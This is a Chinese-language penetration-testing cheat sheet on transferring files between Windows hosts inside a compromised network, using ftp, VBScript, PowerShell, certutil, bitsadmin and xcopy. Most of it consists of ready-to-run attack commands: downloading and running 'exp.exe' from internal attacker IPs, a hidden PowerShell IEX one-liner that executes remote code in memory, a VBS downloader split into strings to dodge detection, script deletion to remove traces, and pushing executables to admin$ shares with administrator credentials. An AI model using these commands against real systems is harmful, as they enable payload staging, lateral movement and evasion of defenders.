005-内网文件传输技术 Windows篇

本文简述内网Windows主机文件传输技术,包括利用ftp、VBScript、powershell、certutil.exe、bitsadmin、Xcopy,都是些老技术,整理分享。

一、ftp

windows 全平台自带ftp,在实战中需要考虑两点。

  • 数据传输的完整性。
  • 代码精简

ftp文件的传输方式:

  • Binary,二进制方式;
  • ASCII,ASCII传输

在FTP文件传输过程中,ASCII传输HTML和文本编写的文件,而二进制码传输可以传送文本和非文本(执行文件,压缩文件,图片等),具有通用性,二进制码传输速度比ASCII传输要快。

命令:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 echo open 192.168.1.115 21> ftp.txt 
 echo 123>> ftp.txt          # 用户名 
 echo 123>> ftp.txt          # 密码 
 echo binary >> ftp.txt  # bin模式,设置二进制传输类型 
 echo get robots.txt >> ftp.txt     # 接收指定文件 
 echo bye >> ftp.txt         # 终止ftp会话并退出,同quit  
 
 # 指定包含 FTP 命令的文本文件;命令在 FTP 启动后自动运行。 
 ftp -s:ftp.txt   
 del /F /Q ftp.txt             # 安静模式强制删除ftp文件

精简成一句话

1
2
3
4
echo open IP > o&echo user UserName Password >> o &echo get Target_File.exe >> o &echo quit >> o &ftp ‐n ‐s:o &del /F /Q o  

# -A匿名登录下载文件 
echo open IP > o & echo get Target_File.exe >> o &echo quit>>o &ftp -A -n -s:o & del /F /Q o

二、VBS

编写VBS脚本并保存

1
set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open"get",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2

也可以用echo方式写入vbs

1
 echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs

命令行下载

1
cscript downfile.vbs http://192.168.126.130:8000/flag.txt  C:\Inetpub\b.txt

也可以把参数直接写入vbs文件中,直接执行。

优点:支持windows全版本系列缺点:对https不友好

VBS作为一门代码语言,可以有多种代码编写的方式,不只这一种

三、Powershell

1
2
3
4
5
6
7
8
# 远程下载文件到本地: 
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.183.138:8000/test.txt','test.exe')  

powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.111.1:8080/exp.exe','C:\Users\1day\Desktop\Tools\exp.exe') 
exp.exe  

# 直接把文本转换为exe文件运行,无残留文件 
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.183.138:8000/test.txt'))"

四、certutil

Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。

1
2
3
4
5
6
7
8
certutil.exe -urlcache -split -f http://192.168.16.157/exp.exe 
# certutil.exe下载有个弊端,它的每一次下载都有留有缓存,所以每次下载后需要清除缓存 
certutil.exe -urlcache -split -f http://192.168.16.157/exp.exe delete //删除缓存 
exp.exe 

-URLCache             -- 显示或删除 URL 缓存项目 
-split                -- 分离嵌入的 ASN.1 元素,并保存到文件 
-f                    -- 强制覆盖

默认下载为bin文件。但是不影响在命令行下使用。

certutil还自带base64编码解码功能

1
2
 certutil -encode c:\downfile.vbs downfile.bat 
 certutil -decode c:\downfile.bat downfile.txt

五、bitsadmin

BITSAdmin是一个命令行工具,可用于创建下载或上传并监视其进度。

具体相关参数参见 官方文档:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
USAGE: BITSADMIN [/RAWRETURN] [/WRAP | /NOWRAP] command 
The following commands are available:  

/?                Prints this help 
/UTIL  /?         打印实用程序命令列表 
/PEERCACHING /?   打印管理缓存的命令列表 
/CACHE /?         打印缓存管理命令 
/PEERS  /?        打印管道peer管理命令  

/LIST   [/ALLUSERS] [/VERBOSE]     打印任务列表 
/MONITOR [/ALLUSERS] [/REFRESH sec] 监控复制管理器 
/RESET   [/ALLUSERS]                删除所有任务  

/TRANSFER <job name> [type] [/PRIORITY priority] [/ACLFLAGS flags]
					remote_url local_name          传输一个或多个文件.
          [type] 为/DOWNLOAD或/UPLOAD; 默认为下载 
          可以指定多个 URL/文件对。local_name 只支持 绝对路径
1
2
3
4
5
6
bitsadmin /transfer 123 http://192.168.111.1:8080/exp.exe C:\Users\1day\Desktop\exp.exe

net use \\DC\admin$ /u:"administrator" " 1qaz@WSX"
bitsadmin /TRANSFER /DOWNLOAD \\WEB\admin$\temp\t.exe C:\windows\temp\t.exe

bitsadmin /TRANSFER /UPLOAD c:\windows\temp\t.exe \\WEB\admin$\temp\t.exe

bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自 动重试,在比较复杂的网络环境下,有着不错的性能。

1
2
E:\>bitsadmin /rawreturn /transfer down "http://192.168.1.115/robots.txt" E:\PDF\robots.txt
/RAWRETURN                     返回数据更适合解析

需要注意的是,bitsadmin要求服务器支持Range标头。如果需要下载过大的文件,需要提高优先级。配合上面的下载命令。再次执行

1
2
3
4
5
6
7
8
bitsadmin /setpriority down foreground

/SETPRIORITY    <job> <priority>    # 设置工作优先级   
		Priority usage choices:      
				FOREGROUND
        HIGH
        NORMAL
        LOW

六 、Xcopy

Windows 自带命令,复制文件和目录树

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# 建立网络会话
net use \\DC\admin$ /u:"administrator" "password"

# 从本地推到远端
xcopy /s /h /d /c /y C:\Windows\Temp\t.exe \\WEB\\admin$\temp\ 

# 从远端拉到本地
xcopy /s /h /d /c /y \\WEB\\admin$\temp\t.exe C:\Windows\Temp\ 

参数讲解:
XCOPY source [destination]
	source         指定要复制的文件。
	destination    指定新文件的位置和/或名称。
	/S             复制目录和子目录,不包括空目录。
	/H             也复制隐藏文件和系统文件。
	/D:m-d-y      复制在指定日期或指定日期以后更改的文件。如果没有提供日期,只复制那些源时间比目标时间新的文件。
	/C             即使有错误,也继续复制。
	/Y             取消提示以确认要覆盖现有目标文件。
0%